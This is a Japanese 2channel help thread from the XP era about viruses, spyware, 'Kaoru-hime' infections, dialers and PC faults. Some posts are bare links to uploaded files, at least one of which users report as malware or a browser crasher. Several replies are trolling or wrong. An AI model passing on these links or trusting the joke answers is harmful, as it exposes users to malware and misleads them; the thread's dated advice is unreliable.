※オンラインウイルススキャン
シマンテック　セキュリティチェック
　　　(p)http://www.symantec.com/region/jp/securitycheck/index.html
トレンドマイクロ　オンラインスキャン
　　　(p)http://housecall65.trendmicro.com/

http://jns2.netfarm.ne.jp/~ab002632/1/i/
http://blog.livedoor.jp/sukauto5962/archives/51102745.html#comments
このサイト潰して〜

>>738
Rundll RUNDLL.VBS

これが無いんですよ本当に！！
１２あるうちのどれも違う
あるのは
(既定)､BJLamch EXE,CHotkey,imjpmig
IMJPMIG8.1,KTPWare,pccguide.exe,PHIME2002A
PHIME2002ASync,SoundMan,VTTimer,VTTraypです
付き合ってもらって申し訳ありませんが

>>742
遅くなってすまぬ。なんか昨夜は２ちゃん全体が死んでたみたいでね。

で、なければいいんじゃないかな。
そこまで感染してなかったのかもしれない。
心配なら検索機能つかうと良い。ctrl+Fでもいいし、編集メニューでで検索選んでもよか。
そんでRUNDLL.VBSを探す。
たぶんないと思うけどね。

>>744
うんっ！わかった！！･･･じゃなくて・・・

かかったのが､Content.IE5\MXC3AP25\1126151563[1].xml なようなのですが､
そのファイルが探しても見つからないので

とりあえず､Temporary Internet Filesを消せばいいらしいので､
ツール→インターネットオプション→インターネット一時ファイルの
cookieの削除とファイルの削除をしました｡
それで､今回 >>721のサイトのウイルス検出をしましたが､見つからなかったので
大丈夫(？)だと思います｡
しつこく質問をしたので､気分を害させたと思いますが､どうかお許し下さい｡

>>744
だいじょぶ。しつこくてもOK。

で、対応はそれでOK。
ネットの掲示板とかにウィルスのコードが貼られててアンチウィルスソフトが反応することがあるけど、
それだったんじゃないかな。
実行形式ではないから実害はなかったと思う。

>>745

ウイルスのコードといわれてもよく分からないのですが･･･
>>714のようになって本当あせっちゃって！まったく面目無いです･･･
それではもうお世話にならないことを願って！

なんか急にＰＣ重くなったんでＡＶＧとかＡｄ−Ａｗａｒｅとかでスキャンしたんだけど何も検出されなくて、Ｓｐｙｗａｒｅ　Ｄｏｃｔｅｒ
でスキャンしたら３９の感染で１の最高レベルの感染（Ｂａｄ Ｓｉｔｅ）
と出たんで、お気に入りを全部削除したら感染ゼロになったんだけど
じゃあ最低限のサイトだけ登録しようと思って、自分のブログと他
少し登録して、またスキャンしたら、どうやら自分のブログが最高脅威レベル
の感染源らしいんだけど、これってどうしたら！？
自分のブログ開くたびに何かやらかされてるってことすか？

ブログさらせよ

漫画をzipでもらったんですが、その中にウィルスっぽいのがあったらしく
よくみたら.ｊｐｇ.exeて書いてありました。
開いて以来1分置きぐらいに
Connection　refused　(Error　＃10061)
って出てくるようになったんですがどう対処したらいいでしょうか？

>>749
これからは漫画を自分で購入するようになされば大丈夫です

>>749
※オンラインウイルススキャン
シマンテック　セキュリティチェック
　　　(p)http://www.symantec.com/region/jp/securitycheck/index.html
トレンドマイクロ　オンラインスキャン
　　　(p)http://housecall65.trendmicro.com/
とりあえずオンラインスキャンでいいから対策しなされ。
削除してくれなかったら自分で削除。
実行中で削除できなかったらタスクマネージャからプロセス殺す。
タスクマネージャはCtrl+alt+deleteでタスクマネージャを起動。
プロセス一覧みて該当の.exeを探してプロセスの終了。
それから問題のファイルを削除する。

>>751
avast!4 Home Editionで個人は無料みたいなんで
ソレやってみたら直りました！
アドバイスありがとうございました。

さっきタスクバーに知らないアイコンがあるのに気が付き焦ってます。
鉄火面みたいな感じです。
今、シマンテック　セキュリティチェック中ですが心配で…。
これってなんですか？教えて下さい。

DQ_equipped_E

なんかオンラインスキャンしたらスパイウェアが見つかって、無料のせいか
駆除できないって表示だった。windowsexとかいうファイルで。
で格納されてるとこ見たらあったので削除したんだけど、もうそれでＯＫなのかな。
今もう一回スキャン中。

再スキャンしたらなくなってた(・o・)

か

電源入れるとビープ音がして
XP起動できても、スタートがマウスで操作でいません
どうしたらいいでしょうか

>スタートがマウスで操作でいません

マウスが動かないといいたいの？
マウスが動かないならウイルスよりも接続確認
一度抜いてもう一度さして再起動

あー、マウス動かないって症状、自分も前になったことある・・・・
で、キーボードもなぜか反応しなくなって。

たしかうちの場合は、起動中にＰＣＩカードに接続されてる機器を
頻繁に抜き差ししたりしたときにカードと本体の接触がおかしくなって
そういうのが原因でマウスとキーボードが反応しなくなった。
ビデオカード取り替えてから治ったような・・・

っていうかあんまり記憶がない・・。
かなりビビッたのは覚えてる。

だってＯＳ入れなおしてもマウスとキーボ反応しなかったし。
つーかＯＳ再インストしてもＡｄｍｉｎｉｓｔｒａｔｅｒの名前入れられ
なくて困った。

>スタートがマウスで操作でいません

スタート限定？

スタートをマウスでクリックしても
一瞬メニューが表示されるだけです
キーボードのwindowsボタン押すと
メニューが表示されて、それをマウスでクリックできます
マウスでクリックできないのはスタートだけみたいです

電源が入ってて起動しない場合はウイルスなのでしょうか？

電源が入っている状態で起動しない場合はウイルスなのでしょうか？

>>762はとりあえずオンラインスキャン
直らなかったら再インスト

>>764はどこまで起動するのか書いてくれないとわからない
windowsが起動しないの？
BIOSが起動しないの？

windowsが起動しません。黒い画面のまま

とりあえずBIOSで起動ドライブ確認してみて

BIOSって何ですか？ホント初心者で申し訳ないっす。

BIOSは2ちゃんねるで文字で解説してもらうより検索したほうがわかりやすいよ

後はそのPCの構成と何年ぐらい使ってるかで…
どうしてもわからないなら必要な情報だけバックアップとって再インスト

>>768
無理して解説してみる。
起動して一番最初に出てくるのはIDEのデバイス確認。
DETECTING IDEなんとかって出てきて、ハードディスクが認識されてればメーカー名や型番が表示される。
NONEになってたらハードディスクが認識されてない。
そのすぐあとにPress XX key Enter BIOS SetUpとかメッセージが出てくる。
そこで指定されたキーを押すとBIOS設定画面になる。
起動ドライブの項目はBOOT DRIVEとかなんとか。
普通はFD、HDD、CDの順になってる。
BIOS設定画面は英語だけど使い方が表示されてる。

こんな感じ。

なぜか分かりませんが治りました。
ありがとうございました(^^)

それはすごい

ワクチンソフトのお勧めとかありますか？

有料
カスペ
マカフィー
など
無料
avast!4HomeEdition日本語版
AVG
キングソフトインターネットセキュリティ2007フリー
など
キングソフトは評判悪いけど、いろいろ改善されてるので今は普通にいいソフトだと思います。
あくまでフリーとして

検出率を求めるなら、有料のほうがいいと思いますがフリーより悪いソフトもあるので気をつけてください。
普通の使い方ならフリーでも十分だと思います。

すいません教えてください。
かおる姫踏んでしまいました。
zipファイルでＤＬして、ウイルスバスターのウイルス表示がでました。
zipは開けないで除去。

スキャン，クリーンアップの実施しました。
検索結果で検出されなかったのですが、大丈夫なのでしょうか？
一応、今、シマンテックで、オンラインスキャンしているのですが。
怖いです。

キーボードのRがずっと押しっぱなしになるだけど何なんでしょうか？

>>776
バスターで削除されたなら大丈夫
ウイルスとわかっているなら検疫の削除でバックアップファイルも消せばいい
かおる姫ってこのスレですごい名前出てくるけど他では聞いたことない
どんな使いかたしたら感染するんだ？

>>777
キーボードはずしてまだRが押しっぱなし状態ならウイルスの可能性が高い
キーボードはずして押しっぱ状態じゃなくなったらウイルスの可能性は低い（原因はおそらくキーボード）

キーボードが原因だったら分解→掃除
出来ないなら買いかえる
念のため中古で100円くらいの買ってきてためす
押しっぱ状態が直ったら自分の好きなキーボードを買う

ノートの場合は？

キーボードの機能を停止して確認
キーボードが原因ならノートを分解
できないならキーボードの機能を停止して別途キーボードを買う
外出先で邪魔だとしたらスクリーンキーボードを使う

スパイウェア駆除したら直ったんだけどこんなウイルスあるの？
R押す事以外は被害なさそうだし

>>778
ありがとうございます。
手動で外付けハードのzipを除去したもので不安でした。

さぁ？
そんなピンポイントな被害のウイルスはあまり聞かないけど
ユーザーに安心させるためにカモフラージュする場合が多いからバックドア作られてると思うけど？

>>782
手動削除なら確実、安心

>>783
バックドアか、本当に作られてたら自分の知識じゃ見つけられんな。
まぁそんなに変なもん踏んだ覚えもないし大丈夫だとはおもうが
てかIEはやっぱダメだね

IEは別にだめじゃないよ
だめと言う人もいるけど…
実行形式ファイルを踏んだなら
トロイ→カモフラージュ
侵入型なら
バックドア→カモフラージュ
カモフラージュはあえて別のウイルスを発見させることでユーザーを安心させる効果がある
とりあえず普通の人はオンラインスキャンか再インストぐらいしか対処法はない
カスペルキーなら脆弱性のスキャンもやってるからバックドアの発見も出来るかも？
何もなかったら安心して使えば良いよ
気になるなら再インスト

>>786
ありがとう。あんたいい人やね。

>>619
かなり重度…
それPC再起動した後に起動できなくなりませんでしたか？

>>651
俺は落とせたよ。

http://webtron.org/up/img/243.zip
よろしくお願いします。

>>790
Nortonで「かおる姫」と出ました。
解凍はしませんでした。

お前らがウィルス。

ウイルスじゃなくてウィルスならいるかもしれない

すいません教えて下さい。
ウイルスチェイサーのオンラインスキャンでTrojan.PWS.Qqpass.1092と言うトロイが引っかかったので
チェイサーの無料お試し版を入れて削除しました。
心配だったので今度はカスペルスキーのオンラインスキャンを試してみた所
スキャン中にチェイサーからC:\WINDOWS\AVPF285.TMP　BackDoor.Ifinstと言うウィルスの警告が出ました。
チェイサーの治療記録を見ますと、
ウィルス名 BackDoor.Ifinst、ファイル名 AVPF285.TMP、状態 治療完了、と出ています。
オンラインスキャンをしてたカスペルスキーからはウイルスは検出されませんでした。

念のためにもう一度カスペルスキーでスキャンをした所
またチェイサーからウイルス警告が出ました。
合計4回ほどカスペルスキーでスキャンしたのですが、毎回チェイサーにウイルスが引っかかってきます。
ファイル名はAVP5243.TMP、AVP3285.TMP、AVPB353.TMPと毎回違うのですが
すべてウイルス名はBackDoor.Ifinstとなっています。
治療完了とチェイサーには出ていますし、カスペルスキーからは毎回ウイルスは検出されません。

マカフィーオンラインスキャンとエフ・セキュアオンラインスキャンも試してみたのですが
マカフィーではウイルスは検出されず、チェイサーも何も反応しませんでした。
エフ・セキュアの方では、オンラインスキャン中に
BackDoor.Ifinst　AVPA003.TMPと言うウイルスがチェイサーに引っかかりました。
エフ・セキュア自体ではウイルスは検出されませんでした。

これはチェイサーの誤作動なのでしょうか？
PCについてはほとんど初心者なので、どなたかよろしくお願いします。

書き忘れましたが、ウイルスチェイサーだけでスキャンした場合も
ウイルスは検出されないです。

貴方のパソコンにセキュリティーソフトは入っていますか？
入っているなら一度アンインストールしてカスペルキーの体験版を入れてみてはいかがでしょうか？
カスペルキーのオンラインスキャンは感染しているかを調べることは出来ますが、駆除機能はついていません。
駆除機能がついていないのは少し不便ですが、検出率が高いので感染しているかどうかを調べるなら一番です。
体験版には駆除機能がついていて、カスペルキーもウイルスが検知された場合、体験版を入れることを進めています。
これは商業的な意味があるのかもしれませんが…
スペックが問題なければ一時的にでも入れてみてはいかがですか？
あと、所詮体験版ですからセキュリティーソフトを持っていないのであればこの機会に購入されてみてはいかがですか？
お金を掛けたくないのであればフリーもいくつかありますし…
もちろん、もう持っているのなら別ですが。

>>796
今現在はウイルスチェイサーの体験版を使用しています。
フル機能を1ヶ月体験出来るそうなので
1ヶ月が過ぎたらこのままチェイサーを購入しようと考えています。

カスペルスキー、マカフィー、エフ・セキュアのオンラインスキャンでは何も検出されず
オンラインスキャン中に、ウイルスチェイサーがウイルスを検出するという状態なので
ウイルスなのか誤作動なのか分からないのです。

この場合もチェイサーをアンインストールした方がいいのでしょうか？

>>797
100%確実ではありませんが、問題のファイルは、AVPxxxx.TMPなので、これは、カスペルスキーのオンラインスキャン時に作成される一時ファイルのようです。
エフ・セキュアは、カスペルスキーと同じスキャンエンジンを持っているので、同様な結果になります。
一時ファイルはスキャン終了後に削除されるので検出されません。
ウイルスチェイサーの誤検出の可能性が高いです。
もし、ウイルスチェイサーの隔離フォルダのような、問題のファイルを保存しているならば、ウイルスチェイサーのメーカーにファイルを送って確認して貰ってください。
ウイルスチェイサーを削除しなくてもいいと思います。問題のファイルを確認して貰ったほうが確実です。

大抵のセキュリティーソフトではウイルスが検出された時、誤検出で大事なデータが失われてしまう可能性を考えてバックアップファイルを作成します。
バックアップファイルは削除しましたか？

>>798
>>799
ありがとうございます。
ウイルスチェイサーの誤検出の可能性が高いのですね。
少し安心しました。

問題のファイルですが、ウイルスチェイサーの隔離フォルダがどれなのか分かりません。
バックアップファイルも削除してないと思いますが、どこにバックアップされてるのか分かりません。
どこを調べればいいのでしょうか？

勉強不足で申し訳ないです・・・。

Windowsシステムフォルダにワームのコピーがされた後、次のディレクトリにランダムなファイル名.tmpの名前でDLLファイルを作成し、検索(Explorer.exe)に感染した後、最初に実行したランダムなファイル.exeの活動は中断させます。


ウイルスじゃね？

http://www.viruschaser.jp/vi_index/vi_b/BackDoor.Iroffer.1213.html

Virus Chaser - アンチウイルスソフト ウイルスチェイサーのサイトには
「BackDoor.Iroffer.1213」 はあったけど「BackDoor.Ifinst」なんてウイルスなかった・・・

別のサイトにはあったけど・・・
http://www.haurijapan.com/virus/virus03.php?Vcode=BAW3000778&gStart=11&gSrchValue=

原田ウイルスＯＯに感染してしまいました。
リカバリをしたいのですが、中古の為ディスクがなく困っています。
ちなみにｈｐのwinXPです。

ディスクなしでリカバリする手段はあるのでしょうか？

中古でディスクないってどこで買ったの
どれくらいのスペックで何円で
ディスクないのにOS入ったPC売るのはライセンス的にいけなかったような気がするからその店は…
俺も昔だまされたけど…

ないなら買うしかないよ
手に入れようと思えば出来ないこともないけど誰かに譲ってもらう（ライセンスごと）以外は違法になる

購入したのは知人からです。
引越しの際に譲り受け、ディスクは紛失されていました。

普通にＰＣショップで購入できるものなのでしょうか？

知人からならまぁいいのかな
たぶん

普通にショップで買えるよ
PCショップじゃなくてもエイデンとかケーズとか家電量販店でも売ってるよ
家電量販店の場合売ってないところもあるけど…店の大きさによる
店員に尋ねてみればいい
値段はXPなら14000〜16000ぐらいかな
たぶん
DSP版とかで安くなったりするけど

40代のバカ晒しあげ

401 名前：名無しさん＠お腹いっぱい。[] 投稿日：2007/10/13(土) 07:18:55
直接キミのPC内に書き込みに行くからさ、IPｱﾄﾞﾚｽ教えなよ。

ハッキングでもされたのか？

>>808
そんなスキルのある奴じゃないよ。ｗｗｗ
おちょくってやってるだけｗｗｗ

2chには、房から上級者まで入り乱れてるからなぁ・・・
実は、おちょくってるつもりで、自分が釣られてるだけだったりしてｗｗｗ

>>806
亀ですが、ご親切にありがとうございます。
とても参考になりました。

外付けＨＤの500Ｇの使用率450Ｇ位だったはずなのに気付いたら50Ｇになってた・・・
外部から操作されたような痕跡ないからウイルスかと思って全チェックしたけど反応がなかった
ZEROだから検出できなかったんだろうか、それとも新種なのかな？

http://up.uppple.com/src/up3411.jpg

Last-Modified: Tue, 08 May 2007 09:51:48 GMT

今日カペルスキー買ったきて、スキャンしてみたら、Packed.win32.NSAnti.rというウイルスに感染しているとでました・・・。
表示に処理できませんでした。理由：処理の延期とでていたんですが、これは駆除できないのでしょうか？

カスペはやめとけ

※ブラクラ注意

http://imepita.zz.tc/020070817

↑これ踏んだらInternet Explorerでページが表示されなくなってしまったんですけど
直す方法教えてくださいお願いします

>>815
私もりかばりした後なのにガンガン同じのが検知されてたんですが
駆除出来ないって出たので削除するを選んで削除しました
削除したにもかかわらず同じのがガンガン検知されたので
システム復元ポイントのシステム復元をしないにチェックいれて削除したら
とりあえずは今のとこ大丈夫になりましたよ。

AVGで無事駆除出来たぽいんですが
マイドキュメントの中に「ｋｏ〜」と言うロシア語フォルダか何かが作られるウイルス
詳細解る方居ますか？

NAVとかだとワンクリックで詳細検索出来るんですけど、AVGだと無理ですかね？

悪さが判明しないと、ちょっと怖い

そのフォルダ名で検索掛ければウイルスかわかるはず
そのフォルダがどのプロセスにアクセスされているかで生成しているものがわかる

googleで何かを検索して、そこに行こうとしても「Virtual Way.info」とかいうページが表示されてしまいます。アドレスは行きたかったページのままなんですが。
おかしいなと思い、トレンドフレックスのオンラインスキャンを試してみましたが、セキュリティーホールがあるだけで、特にスパイウェア等は見つかりませんでした。
助けてください。
OSはXPのhomeです。

インフォメーション

>>817
なんか凄いの踏んだねwww

dialer-567っていうのが
ウィルススキャンで反応したんですが
削除できません
このdialer-567って
ウィルスなんでしょうか？

Windowsのメモ帳でテキストファイル開いたら
知らぬ間に文字化けしてました。
もしかしてウィルスでしょうか？

例： 文→ф
ってな感じです。
お返事待ってます。

>>824
ウイルスです。
win32: dialer -567

ZEROが全然ウイルス検出しないから怖くなってノートン買ってきてスキャンしたら
ウイルスがごろごろ出てきたよ
気付かずにずっと使ってたんだよな((´д｀)) ｵｿﾛｼｲ

>>826
どんな被害に合いますか？
回線入れても今のところ変わった様子はありません。

dialer（ダイヤラー）は基本的に、モデムを使って高額な料金のサービスにダイヤルしたりします。
貴方の回線がダイヤルアップ接続なら要注意！！

この種の詐欺の影響を受けるのは、ダイヤルアップユーザーだけではな
い。一部のDSL・ケーブルモデムユーザーも被害に遭う可能性がある。ブ
ロードバンドサービスをコンピュータにインストールした後でも、（内蔵
または外付けの）56Kbpsモデムがアクティブな電話回線につながったまま
というケースがあるからだ。

　DSL・ケーブルモデムユーザーへのアドバイスとしては、PCの内蔵モデ
ムを電話回線から切り離すか、内蔵モデムでない場合は、外付けモデムを
取り外すことだ。PCでFAXを受信するなどの目的でモデムが必要なら、モ
デムがダイヤルしたときにダイヤル音が聞こえるよう、音量を上げた方が
いい。

ADSLでSV3という機種のルータを使用しています。
一応怖いので電話回線ぶっこ抜きしときます。

かおる姫というウイルスを踏んでしまいました。
パソコンに電源をいれてもWindowsが立ち上がりません。
解決法を教えてください。

セーフモード

ファイル全消しだから、OS再インストール(リカバリ)。

さっき0時になったら突然PCから男女のヘンな会話が流れて時報を告げた
なにも常駐させてないし動いてたのはブラウザだけで、それらしいページは開いてなかった
PCの内部時計を戻しても同じ現象は起きなかった、インターネットで時刻情報を拾ってくるんだろうか？
なんか不気味、これってウイルスなん？

ニコニコの時報じゃね？

ﾜﾛﾀｗ

うわ〜俺超恥ずかしい・・
↓見て古城に大笑いした後だったからバチが当たったのかと思った・・
ttp://www.nicovideo.jp/watch/sm1324137

ニコニコの時報ウザいな
AM0時とAM2時以外にもなるの？

セーフモードでも起動しないのって＼(^O^)／ｵﾜﾀ??

http://aaabbbccc.s6.x-beat.com/upload/src/up14112.jpg
http://up.cute.bz/src/up1549.jpg
http://vista.undo.jp/img/vi9293783378.jpg

http://vista.jeez.jp/img/vi9293826964.jpg
http://up.cute.bz/src/up1550.jpg
http://aaabbbccc.s6.x-beat.com/upload/src/up14113.jpg

俺もかおる姫にやられたぜ

http://up.cute.bz/src/up1551.png
http://aaabbbccc.s6.x-beat.com/upload/src/up14114.jpg
http://vista.jeez.jp/img/vi9293881256.jpg

>>839
ｵﾜﾀw

http://up.cute.bz/src/up1552.jpg
http://up.cute.bz/src/up1553.jpg
http://aaabbbccc.s6.x-beat.com/upload/src/up14115.jpg

↑のはウイルス入りな訳？

http://aaabbbccc.s6.x-beat.com/upload/src/up14116.jpg
http://cgi2.coara.or.jp/~negichan/imgloda/src/img4060.png
http://up.cute.bz/src/up1554.png
>>846
ドクロウイルスだおｗｗ　踏むな

http://cgi2.coara.or.jp/~negichan/imgloda/src/img4063.jpg
http://cgi2.coara.or.jp/~negichan/imgloda/src/img4062.jpg
http://cgi2.coara.or.jp/~negichan/imgloda/src/img4064.jpg

友達にノートン「Symantec Norton Internet Security 2007 日本語版」
をもらってその中にあったKeygen.exeっていう奴が
Anti-Virus Free Editionのスキャンで「脅威が検出されました」ってでました。
バスターじゃ出ないし、誤検出でしょうか

>>849
P2Pで出回ってる悪質なウィルス
ＰＣとＩＰ情報を送信するウィルス

それだとSymantecに送られてるな
後日請求くるよ

Keygen.exeってウィルスが入ってるだけのものなの？

シリアルキーとかが入ってる。
どこの誰がどうゆう経緯で手に入れたかわからないセキュリティーソフトを使おうと思うことがすごい。

なんか知らないうちに、ファイル名の表示色が所々
青く変わってる物が（通常、黒でした）けっこーありました。
不気味なのでなんかわかる方いませんか？

意味がわからない

>>853
ｵﾜﾀ

そんなもん、ファイルが圧縮されてるだけだろ。
プロパティの詳細見とけ。

COOKIE_SERVINGSYS
COOKIE_REVSCI
COOKIE_QUESTIONMARKET
COOKIE_OVERTURE
COOKIE_AdRevolver
COOKIE_Hitbox
COOKIE_DoubleClick
COOKIE_Atdmt
COOKIE_AdDynamix
COOKIE_RealMedia

上記のスパイウェアが検出されたんですけど
大丈夫でしょうか？いつ感染したかもわかりません。
怪しいサイト等は一切見てないのですが。

(＼皿/)＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜＼|　　　　　　　　　　　　　　　　　　　　＼
　｜／|ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ／
／　＼

(＼皿/)＿＿＿＿＿＿＿＿＿＿＿＿＿＿
　｜＼|　　　　　　　　　　　　　　　　　　　　　＼
　｜／|ｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗｗ／
／　＼

質問します。パソコンの音声やメディアプレイヤーの動画に雑音が入ったりスローになったりしてるんですが何なのでしょうか？ノートンで何回かスキャンしても脅威は検出されませんでした。

スペック不足
光学ドライブのレンズ汚れ
スピーカー

圧縮ファイルのパスワードが無くて困っています
なんとか展開できないでしょうか

あれ? すれ違い

すいませんが質問させて下さい。
立ち上げてからアイコンをクリックすると
連打された状態になって
どうにもならないのですが
これは何かのウイルスですか？

>>862
http://www1.neweb.ne.jp/wb/kaitou/tool/pass.html
とりあえずどぞ。

>>865
P2Pで落としたファイルです、ごめんなさい　ウィルスだって知ってます
でも、タイトルがすごっく気になるんです。
無料でなんとかならないでしょうか

>>866
P2Pヤローは基本的にケチだよな。
たまには金払え！

>>867は留学生

圧縮ファイルをwinRARでその場に解凍すると、
突然「仁義なきキンタマ」というファイルが出現。

念のため開けずに削除しましたし、
.exeなどはいっさい踏んでませんが、ちょっとだけ心配。

わざとファイル名をウイルス名にしたイタズラ、流行ってるのかな。

すいません、質問させて下さい。ウイルスバスター2008を使って検索したところ何件かウイルスが発見されたんですが、ウイルスの対処に隔離とあったんですがこれは安全なんでしょうか？それとも探して直接削除した方がいいのでしょうか？よろしくお願いします。

隔離というのは、ウイルスを削除したということで、VB2008の隔離フォルダにある(隔離ファイルの管理だったかな?)。
誤検出の為にバックアップ目的で隔離してあるが、要らない場合は、隔離ファイルの管理から削除すればいい。
ちなみに、隔離されたファイルは実行不可能な形式に変換するので誤って実行してしまう心配は無い。

>>871
回答ありがとうございます。ってことは心配しなくても良さそうですね。ありがとうございました。

さっき2ch見ていて、確実にスパイウェアだというのを誤ってクリックしてしまい、
ウィルスバスターから背景黒の警告や、スパイウェアです！という警告が出ました。

キャンセルする間もなく、いくつかの窓が勝手に立ち上がり、
○○厨ホイホイ♪（○○の部分は忘れました；）という文字と、
REALIPと書かれている横に自分のPCのIPが5〜6個羅列された画面が出てきました。

怖くなったのですぐにウィスルバスターでスキャンしてみたところ、
頭に「Cookie」がつくスパイウェアだけが検出されました。

Cookieの削除は自己判断でという意見をよく見かけますが
この場合大丈夫なのでしょうか。
それとも他のソフトが何か試してみた方がいいのでしょうか。

よろしくお願いします。